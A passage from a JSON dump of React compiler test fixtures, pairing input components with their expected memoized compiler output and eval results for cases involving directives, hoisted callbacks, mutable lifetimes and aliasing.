    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  'use foo';\n  'use bar';\n  return <div>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  \"use foo\";\n  \"use bar\";\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>\"foo\"</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>\"foo\"</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.js",
    "content": "function Component() {\n  'use foo';\n  'use bar';\n  return <div>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const [_state, setState] = useState();\n  const a = () => {\n    return b();\n  };\n  const b = () => {\n    return (\n      <>\n        <div onClick={() => onClick(true)}>a</div>\n        <div onClick={() => onClick(false)}>b</div>\n      </>\n    );\n  };\n  const onClick = value => {\n    setState(value);\n  };\n\n  return <div>{a()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  const [, setState] = useState();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = () => b();\n    const b = () => (\n      <>\n        <div onClick={() => onClick(true)}>a</div>\n        <div onClick={() => onClick(false)}>b</div>\n      </>\n    );\n    const onClick = (value) => {\n      setState(value);\n    };\n    t0 = <div>{a()}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>a</div><div>b</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.js",
    "content": "import {useState} from 'react';\n\nfunction Component(props) {\n  const [_state, setState] = useState();\n  const a = () => {\n    return b();\n  };\n  const b = () => {\n    return (\n      <>\n        <div onClick={() => onClick(true)}>a</div>\n        <div onClick={() => onClick(false)}>b</div>\n      </>\n    );\n  };\n  const onClick = value => {\n    setState(value);\n  };\n\n  return <div>{a()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.expect.md",
    "content": "\n## Input\n\n```javascript\n// @panicThreshold:\"none\"\nimport {useHook} from 'shared-runtime';\n\nfunction InvalidComponent(props) {\n  if (props.cond) {\n    useHook();\n  }\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent(props) {\n  return <div>{props.greeting}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @panicThreshold:\"none\"\nimport { useHook } from \"shared-runtime\";\n\nfunction InvalidComponent(props) {\n  if (props.cond) {\n    useHook();\n  }\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.greeting) {\n    t0 = <div>{props.greeting}</div>;\n    $[0] = props.greeting;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.js",
    "content": "// @panicThreshold:\"none\"\nimport {useHook} from 'shared-runtime';\n\nfunction InvalidComponent(props) {\n  if (props.cond) {\n    useHook();\n  }\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent(props) {\n  return <div>{props.greeting}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction mutate(x, y) {\n  'use no forget';\n  if (x != null) {\n    x.value = (x.value ?? 0) + 1;\n  }\n  if (y != null) {\n    y.value = (y.value ?? 0) + 1;\n  }\n}\nfunction cond(x) {\n  'use no forget';\n  return x.value > 5;\n}\n\nfunction testFunction(props) {\n  let a = {};\n  let b = {};\n  let c = {};\n  let d = {};\n  while (true) {\n    let z = a;\n    a = b;\n    b = c;\n    c = d;\n    d = z;\n    mutate(a, b);\n    if (cond(a)) {\n      break;\n    }\n  }\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `d`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n\n  mutate(d, null);\n  return {a, b, c, d};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: testFunction,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction mutate(x, y) {\n  \"use no forget\";\n  if (x != null) {\n    x.value = (x.value ?? 0) + 1;\n  }\n  if (y != null) {\n    y.value = (y.value ?? 0) + 1;\n  }\n}\nfunction cond(x) {\n  \"use no forget\";\n  return x.value > 5;\n}\n\nfunction testFunction(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let a = {};\n    let b = {};\n    let c = {};\n    let d = {};\n    while (true) {\n      const z = a;\n      a = b;\n      b = c;\n      c = d;\n      d = z;\n      mutate(a, b);\n      if (cond(a)) {\n        break;\n      }\n    }\n    if (a) {\n    }\n    if (b) {\n    }\n    if (c) {\n    }\n    if (d) {\n    }\n    mutate(d, null);\n    t0 = { a, b, c, d };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: testFunction,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":{\"value\":6},\"b\":{\"value\":5},\"c\":{\"value\":4},\"d\":{\"value\":6}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.js",
    "content": "function mutate(x, y) {\n  'use no forget';\n  if (x != null) {\n    x.value = (x.value ?? 0) + 1;\n  }\n  if (y != null) {\n    y.value = (y.value ?? 0) + 1;\n  }\n}\nfunction cond(x) {\n  'use no forget';\n  return x.value > 5;\n}\n\nfunction testFunction(props) {\n  let a = {};\n  let b = {};\n  let c = {};\n  let d = {};\n  while (true) {\n    let z = a;\n    a = b;\n    b = c;\n    c = d;\n    d = z;\n    mutate(a, b);\n    if (cond(a)) {\n      break;\n    }\n  }\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `d`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n\n  mutate(d, null);\n  return {a, b, c, d};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: testFunction,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction mutate(x, y) {\n  'use no forget';\n  if (!Array.isArray(x.value)) {\n    x.value = [];\n  }\n  x.value.push(y);\n  if (y != null) {\n    y.value = x;\n  }\n}\n\nfunction Component(props) {\n  const a = {};\n  const b = [a]; // array elements alias\n  const c = {};\n  const d = {c}; // object values alias\n\n  // capture all the values into this object\n  const x = {};\n  x.b = b;\n  const y = mutate(x, d); // mutation aliases the arg and return value\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `x`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n  if (y) {\n  }\n\n  // could in theory mutate any of a/b/c/x/z, so the above should be inferred as mutable\n  mutate(x, null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction mutate(x, y) {\n  \"use no forget\";\n  if (!Array.isArray(x.value)) {\n    x.value = [];\n  }\n  x.value.push(y);\n  if (y != null) {\n    y.value = x;\n  }\n}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = {};\n    const b = [a];\n    const c = {};\n    const d = { c };\n    x = {};\n    x.b = b;\n    const y = mutate(x, d);\n\n    if (a) {\n    }\n\n    if (b) {\n    }\n\n    if (c) {\n    }\n\n    if (d) {\n    }\n\n    if (y) {\n    }\n\n    mutate(x, null);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":[{}],\"value\":[{\"c\":{},\"value\":\"[[ cyclic ref *0 ]]\"},null]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.js",
    "content": "function mutate(x, y) {\n  'use no forget';\n  if (!Array.isArray(x.value)) {\n    x.value = [];\n  }\n  x.value.push(y);\n  if (y != null) {\n    y.value = x;\n  }\n}\n\nfunction Component(props) {\n  const a = {};\n  const b = [a]; // array elements alias\n  const c = {};\n  const d = {c}; // object values alias\n\n  // capture all the values into this object\n  const x = {};\n  x.b = b;\n  const y = mutate(x, d); // mutation aliases the arg and return value\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `x`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n  if (y) {\n  }\n\n  // could in theory mutate any of a/b/c/x/z, so the above should be inferred as mutable\n  mutate(x, null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction mutate() {}\nfunction cond() {}\n\nfunction Component(props) {\n  let a = {};\n  let b = {};\n  let c = {};\n  let d = {};\n  while (true) {\n    mutate(a, b);\n    if (cond(a)) {\n      break;\n    }\n  }\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `d`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n\n  mutate(d, null);\n}\n\n```\n\n## Code\n\n```javascript\nfunction mutate() {}\nfunction cond() {}\n\nfunction Component(props) {\n  const a = {};\n  const b = {};\n  const c = {};\n  const d = {};\n  while (true) {\n    mutate(a, b);\n    if (cond(a)) {\n      break;\n    }\n  }\n\n  if (a) {\n  }\n\n  if (b) {\n  }\n\n  if (c) {\n  }\n\n  if (d) {\n  }\n\n  mutate(d, null);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.js",
    "content": "function mutate() {}\nfunction cond() {}\n\nfunction Component(props) {\n  let a = {};\n  let b = {};\n  let c = {};\n  let d = {};\n  while (true) {\n    mutate(a, b);\n    if (cond(a)) {\n      break;\n    }\n  }\n\n  // all of these tests are seemingly readonly, since the values are never directly\n  // mutated again. but they are all aliased by `d`, which is later modified, and\n  // these are therefore mutable references:\n  if (a) {\n  }\n  if (b) {\n  }\n  if (c) {\n  }\n  if (d) {\n  }\n\n  mutate(d, null);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let y = function () {\n    m(x);\n  };\n\n  let x = {a};\n  m(x);\n  return y;\n}\n\nfunction m(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    y = function () {\n      m(x);\n    };\n\n    let x = { a };\n    m(x);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nfunction m(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.js",
    "content": "function component(a) {\n  let y = function () {\n    m(x);\n  };\n\n  let x = {a};\n  m(x);\n  return y;\n}\n\nfunction m(x) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_TRUE, identity, shallowCopy} from 'shared-runtime';\n\nfunction mutate(_: unknown) {}\n\n/**\n * There are three values with their own scopes in this fixture.\n * - arr, whose mutable range extends to the `mutate(...)` call\n * - cond, which has a mutable range of exactly 1 (e.g. created but not\n *   mutated)\n * - { val: CONST_TRUE }, which is also not mutated after creation. However,\n *   its scope range becomes extended to the value block.\n *\n * After AlignScopesToBlockScopes, our scopes look roughly like this\n * ```js\n *  [1] arr = shallowCopy()            ⌝@0\n *  [2] cond = identity()        <- @1 |\n *  [3] $0 = Ternary test=cond     ⌝@2 |\n *  [4]        {val : CONST_TRUE}  |   |\n *  [5]        mutate(arr)         |   |\n *  [6] return $0                  ⌟   ⌟\n * ```\n *\n * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2\n * should be merged.\n */\nfunction useFoo({input}) {\n  const arr = shallowCopy(input);\n\n  const cond = identity(false);\n  return cond ? {val: CONST_TRUE} : mutate(arr);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_TRUE, identity, shallowCopy } from \"shared-runtime\";\n\nfunction mutate(_) {}\n\n/**\n * There are three values with their own scopes in this fixture.\n * - arr, whose mutable range extends to the `mutate(...)` call\n * - cond, which has a mutable range of exactly 1 (e.g. created but not\n *   mutated)\n * - { val: CONST_TRUE }, which is also not mutated after creation. However,\n *   its scope range becomes extended to the value block.\n *\n * After AlignScopesToBlockScopes, our scopes look roughly like this\n * ```js\n *  [1] arr = shallowCopy()            ⌝@0\n *  [2] cond = identity()        <- @1 |\n *  [3] $0 = Ternary test=cond     ⌝@2 |\n *  [4]        {val : CONST_TRUE}  |   |\n *  [5]        mutate(arr)         |   |\n *  [6] return $0                  ⌟   ⌟\n * ```\n *\n * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2\n * should be merged.\n */\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { input } = t0;\n  let t1;\n  if ($[0] !== input) {\n    const arr = shallowCopy(input);\n    const cond = identity(false);\n    t1 = cond ? { val: CONST_TRUE } : mutate(arr);\n    $[0] = input;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.ts",
    "content": "import {CONST_TRUE, identity, shallowCopy} from 'shared-runtime';\n\nfunction mutate(_: unknown) {}\n\n/**\n * There are three values with their own scopes in this fixture.\n * - arr, whose mutable range extends to the `mutate(...)` call\n * - cond, which has a mutable range of exactly 1 (e.g. created but not\n *   mutated)\n * - { val: CONST_TRUE }, which is also not mutated after creation. However,\n *   its scope range becomes extended to the value block.\n *\n * After AlignScopesToBlockScopes, our scopes look roughly like this\n * ```js\n *  [1] arr = shallowCopy()            ⌝@0\n *  [2] cond = identity()        <- @1 |\n *  [3] $0 = Ternary test=cond     ⌝@2 |\n *  [4]        {val : CONST_TRUE}  |   |\n *  [5]        mutate(arr)         |   |\n *  [6] return $0                  ⌟   ⌟\n * ```\n *\n * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2\n * should be merged.\n */\nfunction useFoo({input}) {\n  const arr = shallowCopy(input);\n\n  const cond = identity(false);\n  return cond ? {val: CONST_TRUE} : mutate(arr);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate, mutateAndReturnNewValue} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  // Key is modified by the function, but key itself is not frozen\n  const element = <div key={mutateAndReturnNewValue(key)}>{props.value}</div>;\n  // Key is later mutated here: this mutation must be grouped with the\n  // jsx construction above\n  mutate(key);\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate, mutateAndReturnNewValue } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let element;\n  if ($[0] !== props.value) {\n    const key = {};\n    element = <div key={mutateAndReturnNewValue(key)}>{props.value}</div>;\n\n    mutate(key);\n    $[0] = props.value;\n    $[1] = element;\n  } else {\n    element = $[1];\n  }\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.js",
    "content": "import {identity, mutate, mutateAndReturnNewValue} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  // Key is modified by the function, but key itself is not frozen\n  const element = <div key={mutateAndReturnNewValue(key)}>{props.value}</div>;\n  // Key is later mutated here: this mutation must be grouped with the\n  // jsx construction above\n  mutate(key);\n  return element;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\n/**\n * This test fixture is similar to mutation-within-jsx. The only difference\n * is that there is no `freeze` effect here, which means that `z` may be\n * mutated after its memo block through mutating `y`.\n *\n * While this is technically correct (as `z` is a nested memo block), it\n * is an edge case as we believe that values are not mutated after their\n * memo blocks (which may lead to 'tearing', i.e. mutating one render's\n * values in a subsequent render.\n */\nfunction useFoo({a, b}) {\n  // x and y's scopes start here\n  const x = {a};\n  const y = [b];\n  mutate(x);\n  // z captures the result of `mutate(y)`, which may be aliased to `y`.\n  const z = [mutate(y)];\n  // the following line may also mutate z\n  mutate(y);\n  // and end here\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\n/**\n * This test fixture is similar to mutation-within-jsx. The only difference\n * is that there is no `freeze` effect here, which means that `z` may be\n * mutated after its memo block through mutating `y`.\n *\n * While this is technically correct (as `z` is a nested memo block), it\n * is an edge case as we believe that values are not mutated after their\n * memo blocks (which may lead to 'tearing', i.e. mutating one render's\n * values in a subsequent render.\n */\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let z;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a };\n    const y = [b];\n    mutate(x);\n    z = [mutate(y)];\n\n    mutate(y);\n    $[0] = a;\n    $[1] = b;\n    $[2] = z;\n  } else {\n    z = $[2];\n  }\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2, b: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.tsx",
    "content": "import {mutate} from 'shared-runtime';\n\n/**\n * This test fixture is similar to mutation-within-jsx. The only difference\n * is that there is no `freeze` effect here, which means that `z` may be\n * mutated after its memo block through mutating `y`.\n *\n * While this is technically correct (as `z` is a nested memo block), it\n * is an edge case as we believe that values are not mutated after their\n * memo blocks (which may lead to 'tearing', i.e. mutating one render's\n * values in a subsequent render.\n */\nfunction useFoo({a, b}) {\n  // x and y's scopes start here\n  const x = {a};\n  const y = [b];\n  mutate(x);\n  // z captures the result of `mutate(y)`, which may be aliased to `y`.\n  const z = [mutate(y)];\n  // the following line may also mutate z\n  mutate(y);\n  // and end here\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  Stringify,\n  makeObject_Primitives,\n  mutate,\n  mutateAndReturn,\n} from 'shared-runtime';\n\nfunction useFoo({data}) {\n  let obj = null;\n  let myDiv = null;\n  label: {\n    if (data.cond) {\n      obj = makeObject_Primitives();\n      if (data.cond1) {\n        myDiv = <Stringify value={mutateAndReturn(obj)} />;\n        break label;\n      }\n      mutate(obj);\n    }\n  }\n\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{data: {cond: true, cond1: true}}],\n  sequentialRenders: [\n    {data: {cond: true, cond1: true}},\n    {data: {cond: true, cond1: true}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  Stringify,\n  makeObject_Primitives,\n  mutate,\n  mutateAndReturn,\n} from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { data } = t0;\n  let obj;\n  let myDiv = null;\n  if ($[0] !== data.cond || $[1] !== data.cond1) {\n    bb0: if (data.cond) {\n      obj = makeObject_Primitives();\n      if (data.cond1) {\n        myDiv = <Stringify value={mutateAndReturn(obj)} />;\n        break bb0;\n      }\n\n      mutate(obj);\n    }\n    $[0] = data.cond;\n    $[1] = data.cond1;\n    $[2] = obj;\n    $[3] = myDiv;\n  } else {\n    obj = $[2];\n    myDiv = $[3];\n  }\n\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ data: { cond: true, cond1: true } }],\n  sequentialRenders: [\n    { data: { cond: true, cond1: true } },\n    { data: { cond: true, cond1: true } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.tsx",
    "content": "import {\n  Stringify,\n  makeObject_Primitives,\n  mutate,\n  mutateAndReturn,\n} from 'shared-runtime';\n\nfunction useFoo({data}) {\n  let obj = null;\n  let myDiv = null;\n  label: {\n    if (data.cond) {\n      obj = makeObject_Primitives();\n      if (data.cond1) {\n        myDiv = <Stringify value={mutateAndReturn(obj)} />;\n        break label;\n      }\n      mutate(obj);\n    }\n  }\n\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{data: {cond: true, cond1: true}}],\n  sequentialRenders: [\n    {data: {cond: true, cond1: true}},\n    {data: {cond: true, cond1: true}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  Stringify,\n  makeObject_Primitives,\n  mutateAndReturn,\n} from 'shared-runtime';\n\n/**\n * In this example, the `<Stringify ... />` JSX block mutates then captures obj.\n * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot\n * be mutated past this.\n * This set of mutable range + scopes is an edge case because the JSX expression\n * references values in two scopes.\n * - (freeze) the result of `mutateAndReturn`\n *   this is a mutable value with a mutable range starting at `makeObject()`\n * - (mutate) the lvalue storing the result of `<Stringify .../>`\n *   this is a immutable value and so gets assigned a different scope\n *\n * obj@0 = makeObj();                        ⌝ scope@0\n * if (cond) {                               |\n *   $1@0 = mutate(obj@0);                   |\n *   myDiv@1 = JSX $1@0          <- scope@1  |\n * }                                         ⌟\n *\n * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*\n * the end of the JSX instruction. As we currently alias identifier mutableRanges to\n * scope ranges, this `freeze` reference is perceived as occurring during the mutable\n * range of `obj` (even though it is after the last mutating reference).\n *\n * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As\n * a result, developers can never observe myDiv can aliasing a different value generation\n * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).\n */\nfunction useFoo({data}) {\n  let obj = null;\n  let myDiv = null;\n  if (data.cond) {\n    obj = makeObject_Primitives();\n    if (data.cond1) {\n      myDiv = <Stringify value={mutateAndReturn(obj)} />;\n    }\n  }\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{data: {cond: true, cond1: true}}],\n  sequentialRenders: [\n    {data: {cond: true, cond1: true}},\n    {data: {cond: true, cond1: true}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  Stringify,\n  makeObject_Primitives,\n  mutateAndReturn,\n} from \"shared-runtime\";\n\n/**\n * In this example, the `<Stringify ... />` JSX block mutates then captures obj.\n * As JSX expressions freeze their values, we know that `obj` and `myDiv` cannot\n * be mutated past this.\n * This set of mutable range + scopes is an edge case because the JSX expression\n * references values in two scopes.\n * - (freeze) the result of `mutateAndReturn`\n *   this is a mutable value with a mutable range starting at `makeObject()`\n * - (mutate) the lvalue storing the result of `<Stringify .../>`\n *   this is a immutable value and so gets assigned a different scope\n *\n * obj@0 = makeObj();                        ⌝ scope@0\n * if (cond) {                               |\n *   $1@0 = mutate(obj@0);                   |\n *   myDiv@1 = JSX $1@0          <- scope@1  |\n * }                                         ⌟\n *\n * Coincidentally, the range of `obj` is extended by alignScopesToBlocks to *past*\n * the end of the JSX instruction. As we currently alias identifier mutableRanges to\n * scope ranges, this `freeze` reference is perceived as occurring during the mutable\n * range of `obj` (even though it is after the last mutating reference).\n *\n * This case is technically safe as `myDiv` correctly takes `obj` as a dependency. As\n * a result, developers can never observe myDiv can aliasing a different value generation\n * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).\n */\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { data } = t0;\n  let obj;\n  let myDiv = null;\n  if (data.cond) {\n    if ($[0] !== data.cond1) {\n      obj = makeObject_Primitives();\n      if (data.cond1) {\n        myDiv = <Stringify value={mutateAndReturn(obj)} />;\n      }\n      $[0] = data.cond1;\n      $[1] = obj;\n      $[2] = myDiv;\n    } else {\n      obj = $[1];\n      myDiv = $[2];\n    }\n  }\n\n  return myDiv;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ data: { cond: true, cond1: true } }],\n  sequentialRenders: [\n    { data: { cond: true, cond1: true } },\n    { data: { cond: true, cond1: true } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.tsx",
